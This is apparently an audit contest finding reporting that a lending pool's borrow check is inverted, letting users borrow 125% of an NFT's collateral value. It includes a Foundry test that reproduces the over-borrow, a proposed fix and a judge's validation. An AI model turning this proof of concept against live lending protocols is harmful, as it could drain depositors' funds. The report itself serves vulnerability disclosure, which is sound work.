Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Over-Borrowing Allowed Due to Insufficient Collateral Validation in `LendingPool::borrow` Function

Summary

The borrow function in the LendingPool contract allows users to borrow more than the value of their collateral, which can lead to protocol insolvency. This critical vulnerability arises due to insufficient validation of the collateral-to-debt ratio during the borrowing process.


Vulnerability Details

Explanation

The root cause of this vulnerability lies in the LendingPool::borrow function's logic for validating whether a user has sufficient collateral to cover their debt. Specifically, the function checks if the collateral value is greater than or equal to the user's total debt multiplied by the liquidationThreshold. However, this logic is flawed because it does not prevent users from borrowing more than the actual value of their collateral.

Root Cause in the Contract Function

In the borrow function, the following check is performed:

if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

Here, collateralValue represents the total value of the user's collateral, and userTotalDebt is the sum of the user's existing debt and the new borrowing amount. The liquidationThreshold is a percentage (e.g., 80%) that determines the maximum allowable debt relative to the collateral value.

The issue is that the liquidationThreshold is applied to the total debt rather than the borrowing amount. This means that even if the borrowing amount exceeds the collateral value, the check may still pass if the liquidationThreshold is not restrictive enough. For example:

  • If the collateral value is 100 ether and the liquidationThreshold is 80%, the user can borrow up to 125 ether (100 / 0.8 = 125).

  • This allows users to borrow more than their collateral value, which is unsafe and can lead to protocol insolvency.


Proof of Concept

Scenario Example

  1. A malicious user Deposits Collateral: A malicious user deposits an NFT as collateral, which is valued at 100 crvUSD.

  2. User Borrows Funds: The malicious user attempts to borrow 125 crvUSDagainst the collateral.

  3. Borrowing Succeeds: Despite the collateral being worth only 100 crvUSD, the user successfully borrows 125 crvUSD, exceeding the collateral value.

Code

The vulnerability is demonstrated in the following Foundry test suite. Convert to foundry project using the steps highlighted here. Then in the test/ folder create a Test file named LendingPoolTest.t.sol and paste the test into it. Make sure the imports path are correct and run the test using forge test --mt testBorrowMoreThanCollateral :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
import "contracts/mocks/core/tokens/crvUSDToken.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DebtToken.sol";
contract LendingPoolTest is Test {
LendingPool lendingPool;
crvUSDToken crvusd;
RAACHousePrices raacHousePrices;
RAACNFT raacNFT;
RToken rToken;
DebtToken debtToken;
address owner;
address user1;
address user2;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
// Deploy contracts
crvusd = new crvUSDToken(owner);
raacHousePrices = new RAACHousePrices(owner);
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
debtToken = new DebtToken("DebtToken", "DT", owner);
uint256 initialPrimeRate = 0.1 * 1e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
// Set up roles and permissions
crvusd.setMinter(owner);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
// Mint tokens to user1
uint256 mintAmount = 1000 ether;
crvusd.mint(user1, mintAmount);
uint256 mintAmount2 = 10000 ether;
crvusd.mint(user2, mintAmount2);
// Set house price
raacHousePrices.setOracle(owner);
raacHousePrices.setHousePrice(1, 100 ether);
// Mint NFT
uint256 tokenId = 1;
uint256 amountToPay = 100 ether;
crvusd.mint(user1, amountToPay);
vm.prank(user1);
crvusd.approve(address(raacNFT), amountToPay);
vm.prank(user1);
raacNFT.mint(tokenId, amountToPay);
}
function testBorrowMoreThanCollateral() public {
//USER 2 deposits liquidity to the pool to earn reward
uint256 depositAmount = 1000 ether;
vm.prank(user2);
crvusd.approve(address(lendingPool), depositAmount);
vm.prank(user2);
lendingPool.deposit(depositAmount);
// USER 1 Deposits NFT as collateral to borrow from the pool
uint256 tokenId = 1;
vm.startPrank(user1);
raacNFT.approve(address(lendingPool), tokenId);
lendingPool.depositNFT(tokenId); // Current value of NFT is (100) crvusd
// USER 1 Borrows more against the NFT value
uint256 borrowAmount = 125 ether;
lendingPool.borrow(borrowAmount); //User able to borrow upto (125) crvusd
vm.stopPrank();
assertEq(crvusd.balanceOf(user1), 1125 ether);
assertGe(debtToken.balanceOf(user1), borrowAmount);
}
}

In this test:

  • The user deposits an NFT valued at 100 crvUSD as collateral.

  • The user borrows 125 crvUSD, which exceeds the collateral value.

  • The borrowing succeeds, demonstrating the vulnerability.


Impact

  • Protocol Insolvency: Allowing users to borrow more than their collateral value can lead to a situation where the protocol cannot cover the outstanding debts, resulting in insolvency.

  • Loss of Funds: Users can exploit this vulnerability to drain the protocol's funds, leading to significant financial losses for other users and stakeholders.


Tools Used

  • Foundry: Used to write and execute the test suite that demonstrates the vulnerability.

  • Manual Review.


Recommendations

  • Stricter Collateral-to-Debt Ratio: Implement a stricter collateral-to-debt ratio check to ensure that users cannot borrow more than a certain percentage of their collateral value. For example, set a maximum loan-to-value (LTV) ratio of 80% to prevent over-borrowing.

uint256 maxBorrowAmount = collateralValue.percentMul(maxLTV);
if (userTotalDebt > maxBorrowAmount) {
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.